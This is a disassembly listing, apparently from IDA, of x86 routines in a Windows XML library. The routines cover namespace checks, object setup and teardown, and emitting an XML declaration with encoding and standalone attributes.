sub_69B75A0B proc near ; CODE XREF: sub_69B75BAB+6Dp
; sub_69B75C38+B4p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 14h
mov eax, [ebp+arg_4]
push esi
push edi
mov esi, offset off_69B1A5AC
xor edi, edi
cmp eax, esi
mov [ebp+var_10], ecx
jz loc_69B75B1E
cmp [ecx+3Ch], edi
push ebx
mov ebx, [eax+0Ch]
mov eax, [eax+8]
mov [ebp+var_C], eax
setz al
mov byte ptr [ebp+var_14], al
lea eax, [ebp+var_4]
push eax
push ebx
mov [ebp+var_8], edi
call sub_69B31F88
test al, al
jnz short loc_69B75A5B
xor eax, eax
push eax
push eax
push eax
push 0C00CE505h
call sub_69B6E277
loc_69B75A5B: ; CODE XREF: sub_69B75A0B+3Fj
push [ebp+var_4]
push ebx
call sub_69B4D200
test al, al
jz short loc_69B75A83
push [ebp+var_4] ; int
mov ecx, [ebp+arg_0]
push ebx ; lpString
push 0 ; int
call sub_69B4D394
push eax
call sub_69B4D2B6
mov edi, eax
mov [ebp+var_8], edi
jmp short loc_69B75AFC
; ---------------------------------------------------------------------------
loc_69B75A83: ; CODE XREF: sub_69B75A0B+5Bj
mov eax, [ebp+var_10]
cmp dword ptr [eax+3Ch], 0Fh
jnz short loc_69B75ABD
cmp [ebp+var_4], 0
jnz short loc_69B75ABD
cmp [ebp+var_C], 5
jnz short loc_69B75ABD
mov ecx, [ebp+arg_4]
push 5 ; int
push offset aXmlns ; "xmlns"
call sub_69B2EE46
test eax, eax
jnz short loc_69B75ABD
mov edi, dword_69B95A5C
mov [ebp+var_8], edi
mov [ebp+var_4], 5
jmp short loc_69B75AFC
; ---------------------------------------------------------------------------
loc_69B75ABD: ; CODE XREF: sub_69B75A0B+7Fj
; sub_69B75A0B+85j ...
mov esi, [ebp+arg_8]
xor ecx, ecx
cmp esi, ecx
jz short loc_69B75AFC
cmp [esi+8], ecx
jz short loc_69B75AE6
push ecx ; int
push ecx ; lpString
mov ecx, [ebp+arg_0]
push esi ; int
call sub_69B4D394
mov ecx, [ebp+arg_0]
mov edi, eax
push edi
call sub_69B4DA96
mov [ebp+var_8], eax
jmp short loc_69B75AFC
; ---------------------------------------------------------------------------
loc_69B75AE6: ; CODE XREF: sub_69B75A0B+BEj
mov eax, [ebp+var_4]
cmp eax, ecx
jz short loc_69B75AFC
or edx, 0FFFFFFFFh
sub edx, eax
add [ebp+var_C], edx
lea ebx, [ebx+eax*2+2]
mov [ebp+var_4], ecx
loc_69B75AFC: ; CODE XREF: sub_69B75A0B+76j
; sub_69B75A0B+B0j ...
mov ecx, [ebp+arg_0]
test esi, esi
setnz al
push eax ; int
push edi ; int
push [ebp+var_8] ; int
push [ebp+var_14] ; int
push [ebp+var_4] ; int
push [ebp+var_C] ; int
push ebx ; lpString
call sub_69B4D62C
mov ecx, [ebp+var_10]
mov edi, eax
pop ebx
loc_69B75B1E: ; CODE XREF: sub_69B75A0B+17j
push edi
push dword ptr [ecx+3Ch]
call sub_69B4D8E4
mov eax, edi
pop edi
pop esi
leave
retn 0Ch
sub_69B75A0B endp
; =============== S U B R O U T I N E =======================================
sub_69B75B2F proc near ; DATA XREF: .text:69B1650Co
push esi
mov esi, ecx
push 0
lea eax, [esi+34h]
push eax
call sub_69B17320
push 0
lea eax, [esi+30h]
push eax
call sub_69B17320
mov ecx, esi
pop esi
jmp sub_69B7251E
sub_69B75B2F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B75B50 proc near ; DATA XREF: .text:69B1651Co
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push edi
mov edi, [ebp+arg_8]
test byte ptr [edi+18h], 0Fh
mov ebx, ecx
jnz short loc_69B75B6E
push edi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_69B7235C
jmp short loc_69B75BA5
; ---------------------------------------------------------------------------
loc_69B75B6E: ; CODE XREF: sub_69B75B50+Ej
push esi
jmp short loc_69B75B83
; ---------------------------------------------------------------------------
loc_69B75B71: ; CODE XREF: sub_69B75B50+3Ej
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+38h]
mov eax, [eax+10h]
cmp eax, dword_69B95A5C
jz short loc_69B75B9C
loc_69B75B83: ; CODE XREF: sub_69B75B50+1Fj
mov ecx, edi
call sub_69B712A4
mov esi, eax
test esi, esi
jnz short loc_69B75B71
mov eax, [edi]
mov ecx, [ebp+arg_4]
mov [ecx+18h], eax
xor eax, eax
jmp short loc_69B75BA4
; ---------------------------------------------------------------------------
loc_69B75B9C: ; CODE XREF: sub_69B75B50+31j
mov eax, [ebp+arg_4]
mov [eax+18h], esi
mov eax, ebx
loc_69B75BA4: ; CODE XREF: sub_69B75B50+4Aj
pop esi
loc_69B75BA5: ; CODE XREF: sub_69B75B50+1Cj
pop edi
pop ebx
pop ebp
retn 0Ch
sub_69B75B50 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B75BAB proc near ; CODE XREF: sub_69B75DD2+27p
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 20h
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
lea esi, [ebx+10h]
mov eax, [esi]
push 0FFFFFFFFh
mov edi, ecx
push 0
mov ecx, esi
call dword ptr [eax+4]
mov ecx, [edi+34h]
mov [ebp+arg_0], eax
mov eax, [ebx+28h]
mov ebx, [eax+18h]
and [ebp+var_20], 0
and [ebp+var_10], 0
lea edx, [ebp+var_20]
push edx
push ebx
push [ebp+arg_0]
mov [ebp+var_1C], 0
mov [ebp+var_C], 0
mov eax, [ecx]
push esi
call dword ptr [eax+54h]
mov ecx, [edi+38h]
test ecx, ecx
jz short loc_69B75C08
mov eax, [ecx]
lea edx, [ebp+var_10]
push edx
push ebx
push [ebp+arg_0]
push esi
call dword ptr [eax+54h]
jmp short loc_69B75C0C
; ---------------------------------------------------------------------------
loc_69B75C08: ; CODE XREF: sub_69B75BAB+4Bj
and [ebp+var_8], 0
loc_69B75C0C: ; CODE XREF: sub_69B75BAB+5Bj
push [ebp+var_8]
mov eax, [edi+2Ch]
push [ebp+var_18]
mov ecx, edi
push eax
call sub_69B75A0B
lea ecx, [ebp+var_10]
mov esi, eax
call sub_69B466CC
lea ecx, [ebp+var_20]
call sub_69B466CC
pop edi
mov eax, esi
pop esi
pop ebx
leave
retn 4
sub_69B75BAB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B75C38 proc near ; DATA XREF: .text:69B16528o
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
mov eax, [esi+3Ch]
cmp eax, 0FFFFFFFFh
jz loc_69B75D6B
push edi
mov edi, [ebp+arg_0]
cmp dword ptr [edi+0A8h], 2
jz loc_69B75D3D
cmp eax, 2
jz short loc_69B75C8E
mov ecx, [esi+0Ch]
push dword_69B9B4E8
mov eax, [ecx]
call dword ptr [eax+0A8h]
test eax, eax
mov [ebp+var_4], eax
jz short loc_69B75C8E
push eax
mov ecx, edi
call sub_69B6EB1C
push eax
lea eax, [esi+34h]
push eax
call sub_69B17320
jmp short loc_69B75C95
; ---------------------------------------------------------------------------
loc_69B75C8E: ; CODE XREF: sub_69B75C38+28j
; sub_69B75C38+40j
mov [ebp+var_4], offset off_69B1A5AC
loc_69B75C95: ; CODE XREF: sub_69B75C38+54j
mov eax, [esi+3Ch]
and [ebp+arg_0], 0
cmp eax, 2
jz short loc_69B75CD0
cmp eax, 5
jz short loc_69B75CD0
mov ecx, [esi+0Ch]
push dword_69B9B4E0
mov eax, [ecx]
call dword ptr [eax+0A8h]
test eax, eax
mov [ebp+arg_0], eax
jz short loc_69B75CD0
push eax
mov ecx, edi
call sub_69B6EB1C
push eax
lea eax, [esi+38h]
push eax
call sub_69B17320
loc_69B75CD0: ; CODE XREF: sub_69B75C38+67j
; sub_69B75C38+6Cj ...
lea ebx, [esi+34h]
mov eax, [ebx]
xor ecx, ecx
cmp eax, ecx
jnz short loc_69B75CFC
cmp [esi+38h], ecx
jnz short loc_69B75CF3
push [ebp+arg_0]
mov edi, [edi+68h]
push [ebp+var_4]
mov ecx, esi
push edi
call sub_69B75A0B
jmp short loc_69B75D60
; ---------------------------------------------------------------------------
loc_69B75CF3: ; CODE XREF: sub_69B75C38+A6j
cmp eax, ecx
jnz short loc_69B75CFC
push [ebp+var_4]
jmp short loc_69B75D0B
; ---------------------------------------------------------------------------
loc_69B75CFC: ; CODE XREF: sub_69B75C38+A1j
; sub_69B75C38+BDj
lea ebx, [esi+38h]
cmp [ebx], ecx
jnz short loc_69B75D22
cmp [ebp+arg_0], ecx
jz short loc_69B75D28
push [ebp+arg_0]
loc_69B75D0B: ; CODE XREF: sub_69B75C38+C2j
call sub_69B65631
mov ecx, eax
add eax, 8
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
push ebx
call sub_69B17320
loc_69B75D22: ; CODE XREF: sub_69B75C38+C9j
cmp [ebp+arg_0], 0
jnz short loc_69B75D35
loc_69B75D28: ; CODE XREF: sub_69B75C38+CEj
mov ecx, [edi+68h]
mov eax, [ecx]
call dword ptr [eax+28h]
add esi, 2Ch
jmp short loc_69B75D63
; ---------------------------------------------------------------------------
loc_69B75D35: ; CODE XREF: sub_69B75C38+EEj
push dword ptr [edi+68h]
add esi, 2Ch
jmp short loc_69B75D64
; ---------------------------------------------------------------------------
loc_69B75D3D: ; CODE XREF: sub_69B75C38+1Fj
mov ecx, [esi+0Ch]
push dword_69B9B4E8
mov eax, [ecx]
call dword ptr [eax+0A8h]
xor edx, edx
cmp eax, edx
jz short loc_69B75D6A
mov ecx, [edi+68h]
push edx
push edx
push edx
push eax
call sub_69B4D7A3
loc_69B75D60: ; CODE XREF: sub_69B75C38+B9j
add esi, 30h
loc_69B75D63: ; CODE XREF: sub_69B75C38+FBj
push eax
loc_69B75D64: ; CODE XREF: sub_69B75C38+103j
push esi
call sub_69B17320
loc_69B75D6A: ; CODE XREF: sub_69B75C38+11Aj
pop edi
loc_69B75D6B: ; CODE XREF: sub_69B75C38+Ej
pop esi
pop ebx
leave
retn 8
sub_69B75C38 endp
; =============== S U B R O U T I N E =======================================
sub_69B75D71 proc near ; DATA XREF: .text:69B164E4o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B75D8C
test [esp+4+arg_0], 1
jz short loc_69B75D86
push esi
call sub_69B1829F
loc_69B75D86: ; CODE XREF: sub_69B75D71+Dj
mov eax, esi
pop esi
retn 4
sub_69B75D71 endp
; =============== S U B R O U T I N E =======================================
sub_69B75D8C proc near ; CODE XREF: sub_69B75D71+3p
push esi
mov esi, ecx
lea eax, [esi+38h]
push eax
call sub_69B17230
lea eax, [esi+34h]
push eax
call sub_69B17230
lea eax, [esi+30h]
push eax
call sub_69B17230
lea eax, [esi+2Ch]
push eax
call sub_69B17230
mov ecx, esi
pop esi
jmp sub_69B7039F
sub_69B75D8C endp
; =============== S U B R O U T I N E =======================================
sub_69B75DBB proc near ; CODE XREF: sub_69B72A73+A0p
; sub_69B72A73+BEp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
; FUNCTION CHUNK AT 69B164A4 SIZE 00000034 BYTES
push 40h
call sub_69B17EF3
test eax, eax
jz short loc_69B75DCD
mov ecx, eax
jmp loc_69B164A4
; ---------------------------------------------------------------------------
loc_69B75DCD: ; CODE XREF: sub_69B75DBB+9j
xor eax, eax
retn 0Ch
sub_69B75DBB endp
; =============== S U B R O U T I N E =======================================
sub_69B75DD2 proc near ; DATA XREF: .text:69B16510o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_4]
xor ebp, ebp
sub eax, ebp
push 1
mov esi, ecx
pop ebx
jz short loc_69B75DF1
dec eax
jz short loc_69B75E31
dec eax
jz short loc_69B75E58
jmp short loc_69B75E66
; ---------------------------------------------------------------------------
loc_69B75DF1: ; CODE XREF: sub_69B75DD2+15j
cmp [esi+34h], ebp
jz short loc_69B75E00
push edi
mov ecx, esi
call sub_69B75BAB
jmp short loc_69B75E03
; ---------------------------------------------------------------------------
loc_69B75E00: ; CODE XREF: sub_69B75DD2+22j
mov eax, [esi+30h]
loc_69B75E03: ; CODE XREF: sub_69B75DD2+2Cj
mov ecx, [esi+10h]
shr ecx, 1
and cl, bl
push ecx
xor ecx, ecx
mov cl, [esi+10h]
and cl, bl
push ecx
push eax
push dword ptr [esi+3Ch]
mov ecx, edi
call sub_69B6F979
test al, al
jz short loc_69B75E7D
push ebp
push edi
mov ecx, esi
call sub_69B72316
mov eax, [edi+20h]
mov [eax+0Ch], ebx
loc_69B75E31: ; CODE XREF: sub_69B75DD2+18j
cmp dword ptr [edi+0A8h], 2
jz short loc_69B75E4E
cmp dword ptr [esi+3Ch], 0FFFFFFFFh
jnz short loc_69B75E4E
push ebp
push ebp
push ebx
mov ecx, edi
call sub_69B6F0B5
test eax, eax
jz short loc_69B75E7D
loc_69B75E4E: ; CODE XREF: sub_69B75DD2+66j
; sub_69B75DD2+6Cj
mov eax, [edi+20h]
mov dword ptr [eax+0Ch], 2
loc_69B75E58: ; CODE XREF: sub_69B75DD2+1Bj
push ebp
push ebp
push ebp
mov ecx, edi
call sub_69B6F0B5
test eax, eax
jz short loc_69B75E7D
loc_69B75E66: ; CODE XREF: sub_69B75DD2+1Dj
push edi
mov ecx, esi
call sub_69B725AD
mov eax, [esi+10h]
shr eax, 1
and al, bl
mov ecx, edi
push eax
call sub_69B6F28B
loc_69B75E7D: ; CODE XREF: sub_69B75DD2+4Ej
; sub_69B75DD2+7Aj ...
pop edi
pop esi
pop ebp
pop ebx
retn 8
sub_69B75DD2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B75E84 proc near ; DATA XREF: .text:69B165B0o
pvarg = VARIANTARG ptr -14h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
cmp [ebp+arg_0], 0
push ebx
push esi
mov esi, [ebp+arg_4]
mov ebx, ecx
push edi
mov [ebp+var_4], ebx
jnz loc_69B75F3C
mov edi, [ebx+30h]
test edi, edi
jz short loc_69B75EF7
test byte ptr [ebx+38h], 1
mov eax, [esi+28h]
mov eax, [eax+18h]
mov [ebp+arg_0], eax
jz short loc_69B75EDC
mov ebx, [edi]
push eax
lea ecx, [esi+10h]
mov eax, [ecx]
push 0FFFFFFFFh
push 0
call dword ptr [eax+4]
push eax
lea eax, [esi+10h]
push eax
mov ecx, edi
call dword ptr [ebx+50h]
cmp eax, 1
jnz loc_69B75F57
mov ebx, [ebp+var_4]
jmp short loc_69B75EF7
; ---------------------------------------------------------------------------
loc_69B75EDC: ; CODE XREF: sub_69B75E84+2Fj
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+44h]
push [ebp+arg_0]
mov edx, [eax]
push 0
lea ecx, [esi+10h]
push ecx
mov ecx, eax
call dword ptr [edx+4Ch]
test eax, eax
jz short loc_69B75F57
loc_69B75EF7: ; CODE XREF: sub_69B75E84+20j
; sub_69B75E84+56j
cmp dword ptr [ebx+34h], 0
jz short loc_69B75F22
mov ecx, esi
call sub_69B6F448
mov ecx, [ebx+2Ch]
and word ptr [ebp+pvarg.anonymous_0], 0
lea eax, [ebp+pvarg]
push eax ; pvarg
push 0Bh ; vt
push dword ptr [ebx+34h] ; int
push esi ; int
call sub_69B7401B
cmp word ptr [ebp+pvarg.anonymous_0+8], 0
jz short loc_69B75F57
loc_69B75F22: ; CODE XREF: sub_69B75E84+77j
push 0
push esi
mov ecx, ebx
call sub_69B72316
xor eax, eax
push eax
push eax
push eax
mov ecx, esi
call sub_69B6F0B5
test eax, eax
jz short loc_69B75F57
loc_69B75F3C: ; CODE XREF: sub_69B75E84+15j
push esi
mov ecx, ebx
call sub_69B725AD
test byte ptr [ebx+38h], 2
jz short loc_69B75F57
mov eax, [esi+20h]
and dword ptr [eax+0Ch], 0
mov eax, [esi+20h]
and dword ptr [eax], 0
loc_69B75F57: ; CODE XREF: sub_69B75E84+4Dj
; sub_69B75E84+71j ...
pop edi
pop esi
pop ebx
leave
retn 8
sub_69B75E84 endp
; =============== S U B R O U T I N E =======================================
sub_69B75F5E proc near ; CODE XREF: sub_69B72A73+6Ap
; sub_69B72C6A+36p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
; FUNCTION CHUNK AT 69B16538 SIZE 0000003A BYTES
push 3Ch
call sub_69B17EF3
test eax, eax
jz short loc_69B75F70
mov ecx, eax
jmp loc_69B16538
; ---------------------------------------------------------------------------
loc_69B75F70: ; CODE XREF: sub_69B75F5E+9j
xor eax, eax
retn 0Ch
sub_69B75F5E endp
; =============== S U B R O U T I N E =======================================
sub_69B75F75 proc near ; DATA XREF: .text:69B165ACo
push esi
mov esi, ecx
push 0
lea eax, [esi+30h]
push eax
call sub_69B17320
push 0
lea eax, [esi+2Ch]
push eax
call sub_69B17320
push 0
lea eax, [esi+34h]
push eax
call sub_69B17320
mov ecx, esi
pop esi
jmp sub_69B7251E
sub_69B75F75 endp
; =============== S U B R O U T I N E =======================================
sub_69B75FA1 proc near ; DATA XREF: .text:69B165C8o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov esi, ecx
mov ecx, [esi+0Ch]
mov eax, [ecx]
push edi
push dword_69B9B4D0
call dword ptr [eax+0A8h]
mov ebx, [esp+0Ch+arg_0]
mov edi, eax
test edi, edi
jz short loc_69B75FF0
cmp dword ptr [ebx+0A8h], 2
jnz short loc_69B75FF0
push 0
push [esp+10h+arg_4]
lea ecx, [ebx+8Ch]
push ebx
call sub_69B70DF4
push eax
lea eax, [esi+2Ch]
push eax
call sub_69B17320
push edi
lea eax, [esi+34h]
push eax
call sub_69B17320
loc_69B75FF0: ; CODE XREF: sub_69B75FA1+1Ej
; sub_69B75FA1+27j
mov eax, [esi+0Ch]
push 8
push dword_69B9B4F8
mov ecx, ebx
push eax
call sub_69B6EA8E
push eax
lea edi, [esi+30h]
push edi
call sub_69B17320
cmp dword ptr [edi], 0
jz short loc_69B76018
or dword ptr [esi+38h], 1
jmp short loc_69B7603B
; ---------------------------------------------------------------------------
loc_69B76018: ; CODE XREF: sub_69B75FA1+6Fj
cmp dword ptr [ebx+0A8h], 2
jnz short loc_69B7603B
mov esi, [esi+0Ch]
push 2
push dword_69B9B500
mov ecx, ebx
push esi
call sub_69B6EA8E
push eax
push edi
call sub_69B17320
loc_69B7603B: ; CODE XREF: sub_69B75FA1+75j
; sub_69B75FA1+7Ej
pop edi
pop esi
pop ebx
retn 8
sub_69B75FA1 endp
; =============== S U B R O U T I N E =======================================
sub_69B76041 proc near ; DATA XREF: .text:69B16584o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B7605C
test [esp+4+arg_0], 1
jz short loc_69B76056
push esi
call sub_69B1829F
loc_69B76056: ; CODE XREF: sub_69B76041+Dj
mov eax, esi
pop esi
retn 4
sub_69B76041 endp
; =============== S U B R O U T I N E =======================================
sub_69B7605C proc near ; CODE XREF: sub_69B76041+3p
push esi
mov esi, ecx
lea eax, [esi+34h]
push eax
call sub_69B17230
lea eax, [esi+30h]
push eax
call sub_69B17230
lea eax, [esi+2Ch]
push eax
call sub_69B17230
mov ecx, esi
pop esi
jmp sub_69B7039F
sub_69B7605C endp
; =============== S U B R O U T I N E =======================================
sub_69B76082 proc near ; DATA XREF: .text:69B16664o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_69B76EFC
mov ecx, eax
add eax, 8
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
push [esp+4+arg_4]
call sub_69B76CAC
lea ecx, [eax+8]
neg eax
sbb eax, eax
and eax, ecx
retn 8
sub_69B76082 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B760B0 proc near ; DATA XREF: .text:69B16668o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_8]
test esi, esi
push edi
mov ebx, ecx
jz loc_69B761D9
cmp [ebp+arg_C], 0
jnz short loc_69B760ED
mov eax, [ebx+4]
test eax, eax
jz short loc_69B760ED
mov ecx, [ebp+arg_0]
push eax
push esi
mov [ebp+arg_8], eax
call sub_69B3DEBD
mov edi, eax
xor eax, eax
cmp [ebx+9], al
setz al
inc eax
mov [edi+18h], eax
jmp short loc_69B76129
; ---------------------------------------------------------------------------
loc_69B760ED: ; CODE XREF: sub_69B760B0+17j
; sub_69B760B0+1Ej
xor eax, eax
cmp [ebx+9], al
push 0
setz al
mov [ebp+arg_8], offset off_69B2A48C
inc eax
push eax
push esi
call sub_69B8A894
cmp [ebp+arg_C], 0
mov edi, eax
mov byte ptr [edi+8], 0
jnz short loc_69B76129
mov eax, [esi]
lea ecx, [ebp+arg_C]
push ecx
push 2
push offset word_69B26230
push esi
call dword ptr [eax+10h]
push eax
call sub_69B8861E
loc_69B76129: ; CODE XREF: sub_69B760B0+3Bj
; sub_69B760B0+60j
cmp byte ptr [ebx+8], 0
jz short loc_69B7613C
push 1
push edi
push [ebp+arg_4]
call sub_69B772D5
jmp short loc_69B7615B
; ---------------------------------------------------------------------------
loc_69B7613C: ; CODE XREF: sub_69B760B0+7Dj
push 0
push edi
push [ebp+arg_4]
call sub_69B772D5
mov ecx, eax
add eax, 8
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
push [ebp+arg_4]
call sub_69B76CAC
loc_69B7615B: ; CODE XREF: sub_69B760B0+8Aj
mov esi, eax
add eax, 8
neg esi
sbb esi, esi
and esi, eax
cmp byte ptr [ebx+0Ah], 0
jz short loc_69B761E9
push offset a?xmlVersion1_0 ; "<?xml version=\"1.0\" encoding=\""
mov ecx, edi
call sub_69B8A986
push [ebp+arg_8]
mov ecx, edi
call sub_69B8A970
push offset asc_69B270E4 ; "\""
mov ecx, edi
call sub_69B8A986
cmp dword ptr [ebx+0Ch], 0FFFFFFFFh
jz short loc_69B761C4
push offset aStandalone ; " standalone=\""
mov ecx, edi
call sub_69B8A986
cmp dword ptr [ebx+0Ch], 0
mov eax, off_69B9A42C
jnz short loc_69B761B0
mov eax, off_69B9A430
loc_69B761B0: ; CODE XREF: sub_69B760B0+F9j
push eax ; lpString
mov ecx, edi
call sub_69B8A986
push offset asc_69B270E4 ; "\""
mov ecx, edi
call sub_69B8A986
loc_69B761C4: ; CODE XREF: sub_69B760B0+E2j
push offset a? ; "?>"
mov ecx, edi
call sub_69B8A986
mov ecx, edi
call sub_69B8A709
jmp short loc_69B761E9
; ---------------------------------------------------------------------------
loc_69B761D9: ; CODE XREF: sub_69B760B0+Dj
call sub_69B76F19
mov esi, eax
add eax, 8
neg esi
sbb esi, esi
and esi, eax
loc_69B761E9: ; CODE XREF: sub_69B760B0+BAj
; sub_69B760B0+127j
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
retn 10h
sub_69B760B0 endp
; ---------------------------------------------------------------------------
align 4
; const WCHAR aStandalone
aStandalone: ; DATA XREF: sub_69B760B0+E4o
unicode 0, < standalone=">,0
; const WCHAR a?xmlVersion1_0
a?xmlVersion1_0: ; DATA XREF: sub_69B760B0+BCo
dw 3Ch
unicode 0, <?xml version="1.0" encoding=">,0
; =============== S U B R O U T I N E =======================================
sub_69B7624E proc near ; DATA XREF: .text:69B15404o
; .text:69B1662Co ...
arg_0 = byte ptr 4
sub ecx, 8
jmp loc_69B763FE
; ---------------------------------------------------------------------------
loc_69B76256: ; DATA XREF: .text:69B16658o
mov eax, dword_69B9B468
retn
; ---------------------------------------------------------------------------
loc_69B7625C: ; DATA XREF: .text:69B1665Co
push ebp
mov ebp, esp
push ecx
push ecx
and dword ptr [ebp-4], 0
lea eax, [ecx+4]
cmp dword ptr [eax], 0
jnz short loc_69B76288
mov eax, offset off_69B2A48C
mov [ebp-8], eax
push eax
mov eax, ds:off_69B2A48C
mov dword ptr [ebp-4], 1
call dword ptr [eax+4]
lea eax, [ebp-8]
loc_69B76288: ; CODE XREF: sub_69B7624E+1Dj
test byte ptr [ebp-4], 1
push esi
mov esi, [eax]
jz short loc_69B7629A
lea eax, [ebp-8]
push eax
call sub_69B17230
loc_69B7629A: ; CODE XREF: sub_69B7624E+41j
mov eax, esi
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_69B7629F: ; CODE XREF: sub_69B62A4E+3j
; DATA XREF: .text:69B18274o
push esi
mov esi, ecx
push 0
lea eax, [esi+0Ch]
push eax
call sub_69B17320
mov ecx, esi
pop esi
jmp nullsub_5
; ---------------------------------------------------------------------------
loc_69B762B5: ; DATA XREF: .text:69B16660o
push ebp
mov ebp, esp
push ebx
mov ebx, ecx
cmp byte ptr [ebx+8], 0
jnz loc_69B763DE
push esi
mov esi, [ebp+8]
mov eax, [esi]
push edi
push dword_69B9B480
mov ecx, esi
call dword ptr [eax+0A8h]
mov edi, eax
test edi, edi
jz short loc_69B7630C
mov eax, dword_69B9B468
mov ecx, [eax+14h]
mov eax, [ecx]
call dword ptr [eax+2Ch]
push eax
mov ecx, edi
call sub_69B2F13A
test eax, eax
jz short loc_69B7630C
push 0
push edi
push dword_69B9B480
push 0C00CE323h
call sub_69B6E277
loc_69B7630C: ; CODE XREF: sub_69B7624E+90j
; sub_69B7624E+A9j
mov eax, dword_69B95A84
cmp dword ptr [eax+8], 3
mov edi, eax
jg short loc_69B7631E
call sub_69B2E6D8
loc_69B7631E: ; CODE XREF: sub_69B7624E+C9j
mov eax, [edi+18h]
mov edx, [esi]
push eax
mov ecx, esi
call dword ptr [edx+0A8h]
test eax, eax
jz short loc_69B7633A
push eax
lea eax, [ebx+4]
push eax
call sub_69B17320
loc_69B7633A: ; CODE XREF: sub_69B7624E+E0j
push dword_69B9B478
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+0A4h]
test eax, eax
jz short loc_69B7635D
push eax
push dword_69B9B478
call sub_69B6FF5F
mov [ebx+9], al
loc_69B7635D: ; CODE XREF: sub_69B7624E+FEj
push dword_69B9B470
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+0A4h]
test eax, eax
jz short loc_69B76386
push eax
push dword_69B9B470
call sub_69B6FF5F
neg al
sbb al, al
inc al
mov [ebx+0Ah], al
loc_69B76386: ; CODE XREF: sub_69B7624E+121j
mov eax, dword_69B95A84
cmp dword ptr [eax+8], 6
mov edi, eax
jg short loc_69B76398
call sub_69B2E6D8
loc_69B76398: ; CODE XREF: sub_69B7624E+143j
mov eax, [edi+24h]
mov edx, [esi]
push eax
mov ecx, esi
call dword ptr [edx+0A8h]
test eax, eax
mov [ebp+8], eax
jz short loc_69B763D4
mov eax, dword_69B95A84
cmp dword ptr [eax+8], 6
mov edi, eax
jg short loc_69B763BF
call sub_69B2E6D8
loc_69B763BF: ; CODE XREF: sub_69B7624E+16Aj
push dword ptr [ebp+8]
mov eax, [edi+24h]
push eax
call sub_69B6FF5F
neg al
sbb eax, eax
neg eax
mov [ebx+0Ch], eax
loc_69B763D4: ; CODE XREF: sub_69B7624E+15Dj
push esi
call sub_69B6FED3
pop edi
pop esi
jmp short loc_69B763F9
; ---------------------------------------------------------------------------
loc_69B763DE: ; CODE XREF: sub_69B7624E+71j
mov ecx, [ebp+8]
push dword_69B9B4C0
mov eax, [ecx]
call dword ptr [eax+0A8h]
push eax
add ebx, 4
push ebx
call sub_69B17320
loc_69B763F9: ; CODE XREF: sub_69B7624E+18Ej
pop ebx
pop ebp
retn 4
; ---------------------------------------------------------------------------
loc_69B763FE: ; CODE XREF: sub_69B7624E+3j
; DATA XREF: .text:69B1824Co
push esi
mov esi, ecx
call sub_69B8A511
test [esp+4+arg_0], 1
jz short loc_69B76413
push esi
call sub_69B1829F
loc_69B76413: ; CODE XREF: sub_69B7624E+1BDj
mov eax, esi
pop esi
retn 4
sub_69B7624E endp
; =============== S U B R O U T I N E =======================================
sub_69B76419 proc near ; CODE XREF: sub_69B6EDDE+108p
; sub_69B6F192+Ep ...
arg_0 = byte ptr 4
; FUNCTION CHUNK AT 69B165D8 SIZE 00000043 BYTES
push 18h
call sub_69B17EF3
test eax, eax
jz short loc_69B7642B
mov ecx, eax
jmp loc_69B165D8
; ---------------------------------------------------------------------------
loc_69B7642B: ; CODE XREF: sub_69B76419+9j
xor eax, eax
retn 4
sub_69B76419 endp
; =============== S U B R O U T I N E =======================================
sub_69B76430 proc near ; CODE XREF: sub_69B76463+13p
; sub_69B76486+9j ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
mov eax, [ecx+1Ch]
add [eax+0Ch], edx
push edx
push 0
push [esp+8+arg_0]
call sub_69B88E3F
retn 8
sub_69B76430 endp
; =============== S U B R O U T I N E =======================================
sub_69B76449 proc near ; CODE XREF: sub_69B76631+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
push esi
mov esi, [esp+4+arg_4]
lea eax, [esi+esi*4]
lea eax, [ecx+eax*4]
push eax
call sub_69B17EF3
mov [eax+8], esi
pop esi
retn
